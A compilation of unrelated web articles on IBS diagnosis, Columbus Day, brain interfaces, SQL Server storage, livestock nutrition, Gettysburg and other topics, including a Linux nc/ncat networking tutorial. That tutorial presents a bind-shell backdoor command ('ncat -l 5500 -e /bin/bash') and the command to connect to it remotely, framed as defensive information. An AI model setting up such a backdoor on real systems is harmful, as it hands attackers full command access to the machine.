What Symptoms and Diseases Need to Be Ruled Out For an IBS Diagnosis?
In essence, the diagnosis of IBS is a process of exclusion. There is no medical test available that will be positive for IBS; instead, your doctor will test you for all other illnesses that can mimic IBS symptoms, and if those tests are negative, and if your symptoms fit the Rome Guidelines for Diagnosis, you'll then be diagnosed with IBS. In particular, it's important that the following diseases are excluded before you accept a diagnosis of IBS:
Colon, carcinoid, and medullary thyroid cancers
Inflammatory bowel diseases (Crohn's and Ulcerative Colitis)
Celiac (a genetic, autoimmune disorder resulting in gluten intolerance)
Diverticulosis / Diverticulitis
Gallstones and Idiopathic Bile Acid Malabsorption
Food allergies, intolerances, and malabsorptions (fructose, lactose, etc.)
Bacterial infections and small intestine bacterial overgrowth (SIBO)
What Tests Does a Diagnosis of Irritable Bowel Syndrome Require?
As a rule, all possible physical, structural, and infectious abnormalities of the GI tract need to be unquestionably eliminated before you agree to an IBS diagnosis. This requires a physical examination, preferably by a board-certified gastroenterologist, and may include the following studies:
Complete blood count, sedimentation rate, and chemistries
Blood tests for gluten intolerance (endomysial antibody and tissue transglutaminase antibody tests)
Blood and/or breath tests for fructose, and lactose intolerances
Breath test for small intestine bacterial overgrowth (SIBO)
Stool for ova, parasites, and blood
Liver function tests
For women, a gynecological exam including CA-125 blood test for ovarian cancer
Other diagnostic studies should be minimal and will depend on the symptom subtype. For example, in patients with diarrhea-predominant symptoms, a small bowel radiograph or lactose/dextrose H2 breath test. For patients with pain as the predominant symptom, a plain abdominal radiograph during an acute episode to exclude bowel obstruction and other abdominal pathology. For patients with indigestion, nausea, and bloating, an abdominal ultrasound to rule out gallstones. For patients with any numbness in association with constipation, Multiple Sclerosis should be excluded. For older patients (age 50 and above), pancreatic cancer may need to be excluded.
In general, the specific medical tests needed to rule out disorders other than IBS will depend upon your age, health history, family health background, and specific symptoms.
What is NOT Irritable Bowel Syndrome?
* IBS is not an inflammatory bowel disease.
* IBS is not parasites.
* IBS is not candida or yeast.
* IBS is not a bacterial infection.
* IBS is not toxins.
* IBS does not lead to colon cancer.
* IBS does not lead to Crohn's or Ulcerative Colitis.
* IBS does not lead to autoimmune disorders such as arthritis or lupus.
Points to Remember about Irritable Bowel Syndrome and Its Symptoms
* IBS is a functional disorder in which the bowel doesn't work as it should.
* IBS is a physical, not psychological, syndrome.
* IBS can cause cramping, bloating, gas, diarrhea, and constipation.
* IBS does not damage the bowel.
* IBS cannot be self-diagnosed.
* A doctor should diagnose IBS based on your symptoms and the elimination of other possible diseases through various medical tests.
* Stress and foods (particularly fats, insoluble fibers, and GI irritants) can trigger symptoms, but the underlying pathology of Irritable Bowel Syndrome is caused by a brain-gut dysfunction.
* Some of the most common approaches to IBS - colon cleanses, flushes, laxatives, insoluble fiber, psyllium - can make IBS symptoms worse, not better.
Once you have a firm IBS diagnosis, take heart. While there is no cure yet, there are many ways to successfully manage - and prevent - all IBS symptoms. You can control your IBS, not vice versa.
Questions to Ask Your Doctor about Irritable Bowel Syndrome symptoms |
Since today is Columbus Day and the United States is still mired in political partisanship, your social media feeds are likely to be clogged with memes both praising and criticizing Christopher Columbus. Possibly one like this:
Or maybe this one:
Columbus day became an official holiday in 1937, but it had been celebrated for quite a while before that. Columbus was a venerated figure symbolizing exploration, progress, and the history of the founding of our nation. It was in the late 20th century that historians began to research the details of his life and voyages that were less savory; the treatment of native peoples, the start of the Atlantic slave trade, etc. An established fact is that Columbus had been replaced as governor of the territory he explored due to accusations of tyranny. In 2006 a document was discovered in an archive. It had the record made by his successor that detailed those charges and the evidence discovered and boy, was it grim.
Rethinking Columbus Day as a holiday to venerate a man who was a brave and skilled explorer, but was also a flawed and maybe even terrible human being, is valid. We should question our choice of who we hold up as heroes for our kids. We should not sugar-coat our history to make the rise of the United States look better. In order to form this union, a lot of native peoples died. To say it was a genocide is not that wide of the mark. Asking questions and acknowledging the facts of our origins is not erasing history, it’s being truthful to it.
Today you may see a meme that makes you angry, or begs to be refuted. Maybe it’s a post that makes you want to pull one of these:
you’ll be tempted to argue one way or the other.
Was Christopher Columbus a Christian? Maybe. But the holiday isn’t for his faith, it’s for his exploration. Simply put, Christians do not have a dog in this fight. For far too long American Christians have taken the flag and wrapped it around the cross. We’ve defended traditional Americana as if it was the Gospel. It’s time to stop.
We have one main job on this earth – to spread the Good News that while we are yet sinners, Christ died for us. His perfect sacrifice has atoned for us and all we need do is repent, place our faith in Him, turn from our sin, and follow Christ. Our secondary job is to love one another, love our neighbors, and even love our enemies. Don’t let the petty squabbles of today get in the way of sharing the Truth or actively loving the people that God has put in our lives.
You might have strong opinions about this, but what do they serve? Are you an authority who can bring clarity to the debate? Or is this another argument that will push your neighbors and friends who think differently than you further away? There are so many forces trying their best to pull us apart. Don’t rise to the bait. Let it go.
Lately I’ve been thinking a lot about the early Christians. Ours was a faith derided as one practiced by and only fit for ‘slaves and women’. Those early believers traded their status for the Grace of God. They were about as counter-culture as you can get. When I find myself in the middle of a social media dust up, I think of them. What deserves my passionate defense? My energy? My time? They risked their lives to save children literally thrown away. They spent their time and energy promoting the Gospel. They ministered to the sick, the outcasts, the stranger, and the poor.
Putting that frame around the current discord has been helpful. I’ve found myself bowing out mid-argument because it’s not where I should be in the first place. And I’m a lot more careful with my tone. Christians do not mock. I don’t think we should be snarky or dismissive either. Christ saved his anger for the men turning his Father’s house into a temple of greed. He flipped tables and drove them out. But look how he dealt with sinners? He sat down with them and talked. He had dinner with them and talked. He traveled to their town and talked. We need to be careful in our rhetoric, to follow his example.
So, sit this one out. Enjoy the day off if you have it. Read a book (mine, maybe) and enjoy your friends and family. Spread a little love around and have a Happy Columbus Day. |
It may seem like science fiction or a nifty party trick, but two researchers say they were able to conduct a successful “mind control” experiment at the University of Washington.
They touted their work earlier this month as the first “non-invasive human-to-human brain interface,” which basically means one researcher was able to move his partner’s hand with only his mind and a lot of electrodes.
Experts believe the technology could someday help people with paralysis walk again or help people with prosthetics move their prosthetic limbs through their thoughts.
During the experiment, Rajesh Rao, a professor of computer science at the University of Washington, watched a video game and imagined moving his right hand to “fire” missiles in the game.
In a different room, Rao’s partner, Andrea Stocco, a research assistant professor in the Cognition and Cognitive Dynamics Lab, had his right hand on a keyboard. Stocco’s eyes were shut and he had noise canceling earphones on.
When Rao imagined moving his hand, electrodes “read” his brain waves and transmitted the signal to the stimulation cap worn by Stocco, the researchers said. A special coil placed over the area of Stocco’s brain that controls motor functions “read” the signal and made Stocco’s hand hit the keyboard. As a result, the missiles were fired in the video game Rao was watching.
Essentially, Rao thinking about firing the missile made Stocco’s hand move to actually hit the button, the researchers explained.
“The Internet was a way to connect computers, and now it can be a way to connect brains,” Stocco said. “We want to take the knowledge of a brain and transmit it directly from brain to brain.”
Previous experiments have been able to show brain-to-brain communication between rats and even a human and a rat, but Rao and Stocco said they believed this was the first instance of human-to-human brain communication.
Rao said when the missile fired, he was still concentrating on the game and initially hadn’t realized the experiment had worked.
“It’s only later you realize what really happened was that the information had been extracted from my brain,” said Rao. “It was both exciting to realize that … and somewhat surreal to see that’s what had happened.”
Rao said the technology could be used to help people who are paralyzed move specially made prosthetics or help people with “locked in” syndrome communicate through their thoughts.
Eventually, Rao said, the technology might even help the blind “see” by allowing either cameras or other people to “transmit” images directly into the visual center of a blind person’s brain.
“[The technology is] not quite good enough to transmit images -- but people are working on other technologies that [would be] precise enough to send images,” said Rao. “That still [has] some ways to go.”
After their successful bit of mind control, Rao said, the next step is to transmit more complex cognitive information. Basically, Rao hopes that he can “transmit” a specific question to Stocco, who can then type out an answer. |
SQL Server interview questions: - What are page, extents, page header and row offset in SQL Server?
This note is taken from SQL Server interview question by Shivprasad Koirala by BPB publication. You can buy the book from clicking on buy SQL Server interview questions
Extent and pages define how data is stored in SQL Server. The actual data is stored in pages. Each one of these pages are of 8 KB size. You can also visualize pages as the fundamental unit to store data. In other words your table row data gets stored actually in pages.
Pages are further grouped in to extent. One extent is collection of eight pages. So the size of each extent is 64 KB (i.e. 8 pages x 8 KB size).
Finally these extents sum up in to the MDF physical file which you see on your hard disk.
Now in reality the complete 8 KB size is not allocated only to pure end user data.
Page is divided in to 3 sections Page header, Data row and row offset, see the below figure for visual's.
Page header stored system information about the page. After the page header data row is stored serially. Row offset information is stored at the end of the page, after the data rows. Every data row has a row offset. Row offset stores information about how far the row is from the start of the page.
Putting in simple words the complete page equation comes as shown below.
Page (8 KB/8192 bytes) = Page header (96 bytes) + Actual data (8060 bytes) + Row offset (36 bytes).
See this mind blowing SQL Server interview question video: - What are inner joins left join and right join?
Do not forget to look in to .NET, c#, SQL Server video product SQL Server interview questions
Click to view more from author's on SQL Server Interview question |
Ncat command in Linux or NC command is used in the maintenance or diagnosis-related tasks for a network. Even though the ‘nc command’ or ‘ncat command’ are separate commands but they are similar to how they perform their functions & one can be used or replace by the other.
Similar to how CAT common in Linux has the ability to manipulate files, NC command in Linux has the ability to perform operations like read, write, or data redirections over the network.
Ncat command can be used as a utility to scan ports, monitoring or can also act as a basic TCP proxy. Organizations can utilize it to review the security of their networks, web servers, telnet servers, mail servers, etc, by checking the ports that are opened or unsecured and then secure them. NC command can also be used to capture information being sent by the system.
Recommended Read: How to use NMAP command to test Server/Network Security
Also Read: How to use FIND command in Linux
First, let’s discuss how we can install NC command or Ncat command on Linux systems.
Install NC command on CentOS
To install the nc command on Centos, simply run the following command,
# yum install nc
Install NC on Ubuntu
Similar to CentOS, the nc command in Ubuntu can be installed with a single command,
$ sudo apt install netcat
Now if you also want to know how to install the ncat command in CentOS & Ubuntu, then here are the commands.
Install Ncat command on CentOS or RHEL
Ncat command in CentOS or RHEL is part of the NMAP command. So to install the ncat command on Centos, run the following command,
# yum install nmap
Install Ncat on Ubuntu
To install Ncat command in Ubuntu,
$ sudo apt install ncat
Now let’s discuss how we can use (NCAT command) NC command in Linux with the help of some examples.
Examples for NC command/Ncat command
Connect to a remote server
The following example shows how we can connect to a remote server with NC command,
$ nc 172.16.16.100 80
$ ncat 172.16.16.100 80
here, 172.16.16.100 is the IP of the server we want to connect to & 80 is the port number for the remote server.
Once the nc command has created the connection, we can then perform some other functions like we can get the page content with
or fetch page name,
or we can get the banner for OS fingerprinting with the following,
This will tell us about the application & version being used to run the webserver.
Listen to inbound connection requests on a port
To use the ncat command in Linux to check for an incoming connection on a port number following example can be referenced,
$ nc -l 80
$ ncat -l 80
This will put NC in listening mode, & it will check port 80 for incoming connection requests. Listening mode will keep on running until terminated manually.
If we only need to run listening mode for a given amount of time, we can use option ‘w’ for that,
$ nc -w 20 80
$ ncat -w 20 80
here, 20 means the listening mode is active on port 80 & will check connections for 20 seconds only.
Connecting to UDP ports
Nc command makes TCP ports connections by default. For NC command to make connections to UDP ports, use the option ‘u’,
$ nc -l -u 55
$ ncat -l -u 55
Here, we are connecting to UDP port 55 in listening mode.
Using NC for Port forwarding
Another use for the NC command in Linux is that we can also use it for port forwarding. Using option ‘c’ with the nc command, we can redirect a port to another. An example would be,
$ nc -u -l 80 -c ‘ nc -u -l 90’
$ ncat -u -l 80 -c ‘ nc -u -l 90’
here, all incoming connections from port 80 are being forwarded to port 90.
Using NC as a Proxy server
Nc command can also act as a proxy server. To use the NC command as a proxy, use
$ nc – l 80 | nc 172.16.16.200 80
$ ncat – l 80 | nc 172.16.16.200 80
here, all incoming connections to port 8080 on localhost are being redirected to the 172.16.16.200 server on port 80, as we do with the help of a proxy server. But this proxy is currently only one way, i.e. it will send the connections to the remote server but can not receive any packets in response.
To create a return passage or 2-way communication channel, use the following commands,
$ mkfifo 2way
$ nc – l 80 0<2way | nc 172.16.16.200 80 1>2way
We now have a fully working 2-way proxy server using the ncat command.
Using NC as a chat tool
Another way to make use of the NC command is using it as a chat tool. Weird but it’s possible. To create a chat tool using the nc command, first, start it in listening mode,
$ nc – l 8080
$ ncat – l 8080
Then from the remote machine, connect to the first server that is listening to port 8080,
$ nc 172.16.16.100 8080
$ ncat 172.16.16.100 8080
That’s it, you have a working chat tool on your hand. Now we can start a conversation using the terminal/CLI.
Using Ncat to create a system backdoor
Note: This will only work with the ncat command.
One of the most common ways that the ncat command in Linux is used for bad is by using it to create a backdoor. Nc command is used to create a backdoor to our system which can be exploited by hackers (I am mentioning this just for information & so that you can safeguard against these kinds of attacks. You guys should not be using it for wrong purposes, it’s completely wrong, unethical & not to mention can be illegal as well).
To create a backdoor,
$ ncat -l 5500 -e /bin/bash
here, we have attached port 5500 to /bin/bash, which can now be connected from a remote machine to execute the commands,
$ ncat 172.16.16.100 5500
As seen in the screenshot above, I created a backdoor on one tab & then on the second tab I connected to that backdoor & was able to run some commands like ‘date’, ‘df -h’ etc. You can run other commands as well & consider if this backdoor is created as the root user, hackers will have complete access to your system.
Force server to remain up
The server will stop listening for connection once a client connection has been terminated. But with option ‘k’, we can force a server to remain running, even when no client is connected.
$ nc -l -k 8080
These were only some examples of how to use the nc command or ncat command in Linux. There are certainly more ways to use this, GOOD as well as BAD. So use wisely.
If you have any questions or queries regarding the tutorial, please do let us know using the comment box below. |
Now that spring has sprung, it’s time to be on the lookout for the common annoyance of fleas & deer ticks. This can be especially true if you, like me, have pets and children. A flea infestation can be incredibly hard to get rid of, and let’s not forget the danger of Lyme disease associated with ticks. We had our own scare with ticks mid-spring of last year when our little one had roughly twenty of them stuck to her. Luckily everything was fine as they were tiny, early nymphs but I’m now overly cautious to say the least. In this post I’ll talk about identifying and preventing fleas and ticks. I’ll write a part two later on for getting rid of them if you’re “infested”.
Identifying a flea infestation can often be very simple. Observing your pet’s behavior is your first step: if your pet is scratching excessively, you should examine the fur. Infested animals have reddened skin and may lose hair. The hind quarters of dogs and the head and neck of cats are most commonly effected areas.
Upon inspection you may see insects visibly moving between hairs or red and black droppings on the skin. If you do see the insects or the droppings, you should contact your veterinarian immediately to discuss flea treatment options.
Fleas are approximately 2.5 mm in length. Their bodies are flat and without wings. Their six legs are long and assist them in jumping great distances. Locating fleas in your pet’s fur does not reveal the true extent of the infestation. Eggs, larvae and pupae will also thrive within your home or yard and are difficult to see. Flea larvae are dirty-white in color and measure 3 to 5.2 mm in length.
Identifying Deer Ticks
Deer ticks, also known as the blacklegged tick can sometimes be confused with other tick species. Like other ticks, their bodies are flattened and they possess eight legs. They appear particularly similar to brown dog ticks. Due to the arachnid’s small size, it can be difficult to locate the deer tick on its host. Adult deer ticks are approximately the size of a sesame seed, with larval and nymph specimens much smaller.
Deer ticks do not jump from plants to their hosts. They cling to the edges of leaves and transfer themselves with their front legs to the fur, skin or clothing of a passing host. On humans, deer ticks are commonly found in the areas near the nape of the neck or along the lower scalp.
The size of the deer tick can vary depending on the sex of the tick and feeding state. Approximately the size of a sesame seed, a female adult deer tick measures about 2.7 mm in length. The males are smaller. These ticks are orange brown in color but may change to be rust or brown-red in hue following feeding. The body becomes engorged after a meal and may expand considerably.
Flea & Tick Prevention
The best way to control fleas and ticks is of course not to get them at all, however this is most unlikely during the lifetime of your pet. Flea & tick infestations are very similar in the ways they occur. Therefore the steps you can take to prevent fleas & Ticks are very similar as well:
- Be vigilant but work on the premise that your pets will get fleas and/or ticks especially if they spend a considerable amount of time outside
- Tick prevention on humans is simple, check, check, and re-check. Anytime you’re you or your children have been outside you should check all areas of the body for any “clinging” ticks
- Be sure to wear socks, shoes, and if possible long pants while outdoors. While this is most unlikely in the heat of the summer, I come back to check, check, and re-check!
- Consult with your vet as to what solutions are most appropriate for your pet, especially if it is old, very young, or pregnant
- Treat your pet or have your vet administer to your pets regularly a reputable, safe commercial product; unless the label says otherwise, never use cat products on dogs or vice versa; always follow the product’s directions
- Buy a reputable, safe flea/tick collar for your pet; replace it according to directions
- Wash your pet’s bedding and soft toys regularly with hot water
- Regularly vacuum all areas used by your pets and close by frequently; seal and discard the vacuum bag in an outdoor container and/or clean the vacuum thoroughly
- If you acquire used animal bedding, toys or even used bedding and furniture for your family assume it is infested and wash/treat for fleas accordingly
Identifying a flea and tick problem early before it becomes an infestation is extremely important. Identification can be easy if you know what you’re looking for, and prevention is even easier as long as you’re diligent. As I said check back later as I’ll write a part two to this post, Battling Fleas & Ticks…
As always don’t forget to sign up over there to the right for regular TUFF GUARD updates, and all things garden hose related! |
In the 2nd century AD, the famous Egyptian geographer Claudius Ptolemy made reference to an important ancient town named Koloe. It has long been thought that( Qohaito Kohaito was equivalent to Koloe. But even if it is not (some modern scholars favor nearby Metera), Kohaito importance in the ancient world during this time is obvious.
Very little is known about the exact history of the settlement. A few ancient chronicles record that Kohaito was still flourishing in the 6th century AD. However, like Adulis and Metera, it then vanished very suddenly in the next one or two hundred years.
Kohaito, which lies at high altitude of 2700m, once may have served as a kind of summer retreat for the rich merchants from nearby towns. The traces of cultivated areas found between the buildings have led to the belief that Kohaito was once a garden city.
Lying some 121km south of Asmara, Kohaito’s impressive ruins are spread over a large area measuring 2.5km wide by 15km long. As much as 80 to 90% of the ruins remain unexcavated. In 1996 and 1997, a German expedition surveyed both Kohaito and Metera.
A short walk from Kohaito takes you to the edge of a vast canyon that drops away dramatically. The views of the surrounding mountains, including Mt. Ambasoira (3013m) to the south (the highest peak in Eritrea), are stunning. Far below, you can make out the terraced fields and tiny tukuls of seemingly to totally inaccessible Saho settlement.
Among Kohaito’s most important ruins is the so-called Temple of Mariam Wakiro that was built on a rectangular plan on a solid platform, and may have been the site of a very early Christian church or even a pre-Christian temple. In the local language this site has long been referred to as ‘abode of the prestigious one’.
About a kilometer to the north of the ruins of Mariam Wakiro, lies a tomb discovered in 1894 nicknamed ‘Meqabir Ghibtsi’ or the Egyptian tomb because of its impressive size. The tomb faces east, overlooking the Hedamo River. Rectangular in shape and built with large blocks of stones, its most distinctive features are the two quatrefoil (flower-shaped) crosses carved on the inside walls.
Shapira Dam, measuring 67m long and 16m deep, is constructed of large rectangular blocks of stone that measure close to 1m by 0.5m, is Kohaito’s greatest claim to fame. The masonry is quite beautifully dressed- one of the reasons perhaps for the dam’s incredible longevity. For around 1000 years, it has served the local Saho people as the main source of water. Following recent investigation carried out by the German team, this water cistern date back to around 1 Century AD and even before this period. On one of the walls inside the dam are some inscriptions in ancient Ge’ez, made up of 79 words, is the longest yet found in Ge’ez.
At Iyago, near Kohaito, south-east of Mt Faquiti, an open shelter around 9m long is covered in rock paintings dating from approximately 4000-5000BC. Nearly 100 figures painted in ochre, black and reddish-brown adorn the rock face, depicting cattle, antelopes and perhaps lions. Other rock shelters in the area include Ba’atti Abager, Zebanona Libanos and Mai Ayni, where figures include warriors with long spears and oval-shaped shields, and wearing animal skins seem to be indulging in a ritual dance.
Around Qohaito (Kohaito)
Matara (Metera)/Belew Kelew
Situated 20km south of Kohaito, house some of Eritrea’s most important historical sites. Like Kohaito, Matara (also called Metera) flourished in the 6th century AD. The scattered ruins testify to the existence of a once large and prosperous town.
Metera is important for three main reasons: for its age- some of it, from about 5th century BC; for its huge size– it spreads over at least 20 hectares and is known among locals as Belew-Kelew, it is much the largest site after Adulis; and for its unusual character- it is the only place where a large bourgeois community is known to have thrived.
One of Metera’s most important objects is its enigmatic stele. Unique in Eritrea, the stele is known for its pagan, pre-Christian symbol of the sun over the crescent moon- a south Arabian divinity, engraved on the top of the eastern face; and it faces eastward. Standing 2.5m tall, the stele has an inscription near the middle in Gee’z. An unknown king dedicated the stele to his ancestors who had subjugated the ‘mighty people of Awanjalon, Tsebelan’.
Metera’s discovery came in 1868, when Frenchman Denis de Rivoire reported its existence. In 1903, an Italian officer made a few amateur excavations in two places. The first scientific survey was carried out by the German Expedition in 1906. In 1959, the French archeologist Francis Anfray began a major excavation of the site. From 1959 to 1965, various sites were excavated. A large mould located 100m north-west of the stele revealed a big, central building- perhaps a royal palace or a villa- attached to an annexe of living quarters. A huge wall surrounds the whole complex. Several burial chambers were found in the larger building; in one of them, the skeleton of a chained prisoner was discovered. Between 1961 and 1962, a large, square, multiroomed complex built on a sturdy podium and a tomb chamber were unearthed. Anfray’s excavations also uncovered four large villas, some smaller houses, three Christian churches and a residential quarter- perhaps for the common people.
Objects unearthed at Metera in the last 50 or more years include some beautiful and amazingly well-preserved gold objects- two crosses, two chains, a brooch, necklaces and 14 Roman coins dating from between the 2nd and 3rd century AD- found in a bonze vase. Many household items including bronze lamps, needles and daggers, Mediterranean amphorae, and the remains of large marble plates were unearthed.
Only tiny part of Metera has been excavated. Big moulds lie tantalizingly untouched all around the ancient people’’s tomb – hidden somewhere among the rocks – still awaits exploration, and may yield a remarkable finds.
One of the more remarkable things, here and at the other Archeological sites, is that the cement that binds the bricks show no sign of weakening even after some 1,400 years, a fact which is unlikely to be true of the stuff manufactured today.Metera has been identified by the historian Kobishchanov as the ancient city of Koleo, which currently seem to be more acceptable theory that the one put forward in the 1890s by Bent, that Koleo was Kohaito.
TOCONDA–Â lie 4km south of Adi Keyh in a wide valley. The ground is littered with potsherds, broken pillars and chiseled stones. Close to the dirt road there are two pillars: one standing, another with a curious rounded head. On a hill west of the site, there is an early inscription curved on a large basalt rock.
Keskese–Â lies in a small valley 128km south of Asmara. This huge, unexcavated site is considered exceptional for its pre-Christian and pre-Islamic remains, which include the ancient tomb of a local prince or lord. Lying among the barley fields like elongated, upturn boats are various huge monoliths, including one measuring a giant 14m long. Some stelae bear ancient inscriptions in Ge’ez; from their style, it is believed that they are at least 2500 years old. Elephants are offered as the most likely explanations from the way the immense stones were transported. |
Animal nutrition is based on knowing the nutritional requirements of livestock being managed. Animals obtain their nutrients from the feeds they eat. The major classes of nutrients are energy, protein, macro-minerals, micro-minerals, vitamins, essential fats and water.
Ruminant livestock and horses can obtain most, if not all, of their nutrients from forage of adequate quality. Livestock differ in nutritional requirements based on age, activity and production status. Knowing the animal’s nutritional requirement enables us to know if the forage on hand or to be purchased will meet that requirement and what type and how much supplement is needed to meet the animal’s nutritional needs.
Forage testing enables us to know the quality of forage being produced or purchased. Fact sheets dealing with forage testing and forage quality can be found in the Forage Quality category.
The following fact sheets provide the information needed to identify the nutritional needs of livestock.
Just the basics
Grow your knowledge
- Common terms used in animal feeding and nutrition
- Nutrient requirements for beef cattle
- Nutrient requirements for sheep
- Nutrient requirements for goats
- Body condition scoring of beef cattle
- How to match the hay to the cow’s nutrient requirement based on forage testing
Master the subject
- Measurement of selective grazing in pastures
- The effect of pasture quality and supplemental feeding on calf performance when being backgrounded on pasture
Helpful ToolsWVU-ES Beef Cattle Ration Balancer (Excel spreadsheet)
Cattle Mineral Supplement Calculator (Excel spreadsheet)
Author: Ed Rayburn, Extension Specialist WVU Extension Service, Agriculture and Natural Resources |
Gettysburg – July 1st 1863
“It had begun as an almost accidental collision between two armies, it had continued because sheer force of circumstances made it impossible to break off, and it was actually fought for the possession of control over the future of America” *
“CITIZENS OF PENNSYLVANIA: PREPARE TO DEFEND YOUR HOMES!” the newspapers shouted in late June 1863 as the Confederate army began it’s invasion of the North. As these headlines appeared across the country the State of the Union was in serious crisis. “Unquestionably“, newspaper editor Horace Greeley wrote, “the first six months of 1863 were the darkest hours of the National Cause” Things looked so dire at this time that New York lawyer, George Templeton Strong, wrote, ” All is up….the Historical Society should secure an American flag at once for its museum of antiquities”
There was good reason for such pessimism in the North and great optimism in the South as the Rebels entered the Keystone State. After their astounding victory in May at Chancellorsville, the Confederate army, “when they went north they carried the undeveloped climax of the war with them. Win or lose, this march was going to take them to the high water mark” *
“And yet, the Union army survived its battering at Chancellorsville in far better shape than it had at Fredericksburg. A sort of fatality had…settled down upon the army of the Potomac, the sense expressed by a corporal in the 71st Pennsylvania, that the Soldiers, must depend Only on themselves for fighting out an honorable peace.” ***
And this time things would be different; the Union army would be fighting on their own soil, defending their own homes and hearths.
As the huge Confederate force made its way through Pennsylvania, newly appointed Union General Gordan Meade reacted quickly. “Meade had to defend Washington, along with Philadelphia, Baltimore, and the rest of the northland, and the only way to do this was to bring Lee to battle and defeat him.” General Meade based near Frederick, Maryland, sends, “Maj. Gen John Buford’s division of Calvary north to cut across what appeared to be Lee’s line of march. To molest the troops that Buford was likely to find, Meade chose Maj. Gen. John Reynolds and gave him command of one third of the army.” *
The Confederate army, in last days of June 1863, upon Lee’s orders, were spread out in three giant columns moving north through Pennsylvania. When General Lee learns that the Federals are in Maryland and marching into Pennsylvania, he recalls his army and orders it to concentrate at the nearest the town. The town of Gettysburg…..
Gettysburg Day 1
On June 29th 1863, Union Major General John Buford and his 2500 calvary troops rode from the east into Gettysburg and stopped at the high ground, the town’s cemetery, a hill that commanded a view of the entire surrounding area.
“The land west of Gettysburg is a series of ridges, like waves in the earth. On the far side of town there was a red brick building, the stately seminary, topped with a white cupola. The first rebel infantry came in that way, down the narrow grey road from the mountain gap… It was from this stately cupola that Buford saw the approaching Confederate army.” **
Buford knew his 2500 troopers were no match for what he saw approaching the town. Watching the Rebel infantry approach and sensing the weight of Lee’s army behind it, Buford sends a note to General Reynolds to hurry up his forces.
“Have occupied Gettysburg. Contacted large party of Reb infantry. I think they are coming this way. Expect they will be here in force in the morning” There were 10,000 enemy headed his way and, “there’ll be the devil to pay” **
Buford hoped he could at least delay the Rebels long enough for Reynolds and Union infantry to arrive. If they could delay the Confederates and eventually occupy that good high ground at the cemetery, the Federals could finally fight it out with the Rebels on ground of their own choosing.
Buford receives a reply message from Reynolds, “General Buford: Hold your ground. I will come in the morning as early as possible.”
General Buford was an army veteran from out West. His calvary troopers were trained and cut their teeth in the Mexican War and conflicts with Native American tribes effectively fighting dismounted and taking advantage of their multiple shot carbine rifles. These Union troopers set up along Seminary Ridge, facing the Chambersburg Pike and prepared to meet the approaching Confederates.
These first elements of the Confederate army arriving at Gettysburg were part of Gen. Harry Heth’s division. Spying some blue uniforms on the approaching ridge and believing they were a small group of local militia, Heth moved his troops into the town but soon came up against fierce resistance from Buford’s men. The Confederates charged across Willoughby Run on their way up McPherson’s Ridge exchanging this ground and fighting across the creek throughout the morning battle. Buford’s troops fought tenaciously but the small calvary force was becoming overwhelmed by the increasing Confederate attacks; until the timely arrival of John Reynolds and the Iron Brigade.
“For the most part, the story of the July 1 fighting at Gettysburg is a story of unrelieved defeat for the Federal troops, but during the morning hours there were moments of triumph. One of these came when Southern troops tried to advance down an unfinished railroad cutting north of the Chambersburg Rd., and were compelled to surrender” *
General John Reynolds, leading the Iron Brigade into action, was shot and killed by a sniper in the early moments of the contest. Fighting along Seminary Ridge, McPherson’s Ridge, and an unfinished railroad cut adjacent to Oak Ridge became fierce as more and more Confederates began arriving on the field from different directions. The Federals, overwhelmed, finally began a retreat through the town of Gettysburg. Valiant rearguard fighting bought as much time as possible as the Federals set up a defense along those ridges Buford had spied when he entered Gettysburg; Cemetery Hill, ironically, would be the Union army’s last defense.
Meade hearing of Reyonlds’ death dispatches Maj. Gen. Winfield Hancock to Gettysburg to assume command and to determine if “Gettysburg was a suitable place for an all-out fight with Lee”. Hancock arrives as Union troops are swarming in retreat through the town and begins to organize a defense on Cemetery and Culp’s Hills. Hancock had determined that this was suitable ground for a fight; this high ground at Gettysburg would serve the Union army well in the coming days.
Fighting sputtered out as evening fell on July 1st 1863. General Lee arriving on the field earlier in the day perceived the strategic importance of those commanding hills and sent an order to General Richard Ewell to take those hills “if practicable “. Ewell’s troops, after marching and fighting through Gettysburg all day, were in no shape to renew the fight. General Ewell decided that attack would have to wait for the following day.
This decision by Gen. Ewell, not to take the high ground on July 1st, has been a center of controversy for 150 years. It is believed that if the Confederates had taken Cemetery Ridge on July 1st, the three day Battle at Gettysburg would never have happened. The Union army, out flanked, would have had to retreat and find somewhere else to make their stand.
As night descended on Gettysburg after that first days fight, Union soldiers began digging in on Culp’s Hill and adjoining Cemetery Hill and prepared for what they knew would be a big fight in the morning.
That evening when Robert E Lee was asked what his next move would be, sticking to his offensive battle plan, he famously retorted, “If the enemy is there tomorrow, we must attack him.”
(* ) Bruce Catton, “Gettysburg: The Final Fury”
(**) Michael Shaara, “The Killer Angels”
(***) Allen C. Guelzo, “Gettysburg: The Last Invasion” |
The unstoppable increase in wheat flour price is making our bread less and less affordable. The source of flour, the wheat, never grow well on our agricultural lands. We have to import it from other countries. It make us more helpless in controlling over the price of our local bread. The solution is, of course, finding local flour alternatives. We Filipinos are good at it.
We have already invented numerous type of flour. Perhaps anything we dried and converted to minute particles are connected with the term flour. Ube flour, corn four, potato flour, camote flour and so on and so forth. However, such products are also being called as starch and powder by different manufacturers.
Corn starch is called such because the source material is rich in starch. The powder from wheat grain is also rich in starch but it was named as flour instead of starch. Have you ever wonder what separates flour from starch?
Flour has gluten. The protein is responsible for the elastic property of dough. It holds the air produced by yeasts and or baking powder, making the bread rise. The starch on the other has no gluten. It can be kneaded but no elasticity can be achieved. It can be added with yeast and or baking powder but will never hold any bubbles.
Starch can be added to flour to some extent without jeopardizing much of its elasticity. So the bread with added ube powder is called ube bread and the ube powder is called ube flour instead. |
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Tooltips can greatly improve the usability of your web site by providing direction and cues to visitors. In this course, Chris Converse shows how to convert text or graphics into a mouse-sensitive tooltip. The tutorials demonstrate how to write the necessary HTML and activate the tooltip with jQuery, as well as add positioning and effects.
So now we're going to add in detection for the pageHeight. This is going to allow us to do two things; one, we can put the tooltip_ container above the cursor, and two, we can make sure that the tooltip doesn't touch the top of the browser. Now in order to get a link into the top of our page let's come back to our index.html file. In the heading area, we have an anchor link with the class of logo, let's come in here and add our tooltip properties to this link. First, let's add a second class onto here, so after logo inside of the value for class, let's hit a space, let's add in tooltip.
Now after the attribute for href, let's add in data-tip-type, equals, two quotes, put in "text". Let's add one more attribute, data-tip- source, equals, two quotes, and I'll just type in here, "This is the logo". Let's hit Save, now the logo will act as a tooltip as well, let's come to back to our tooltip.js file.
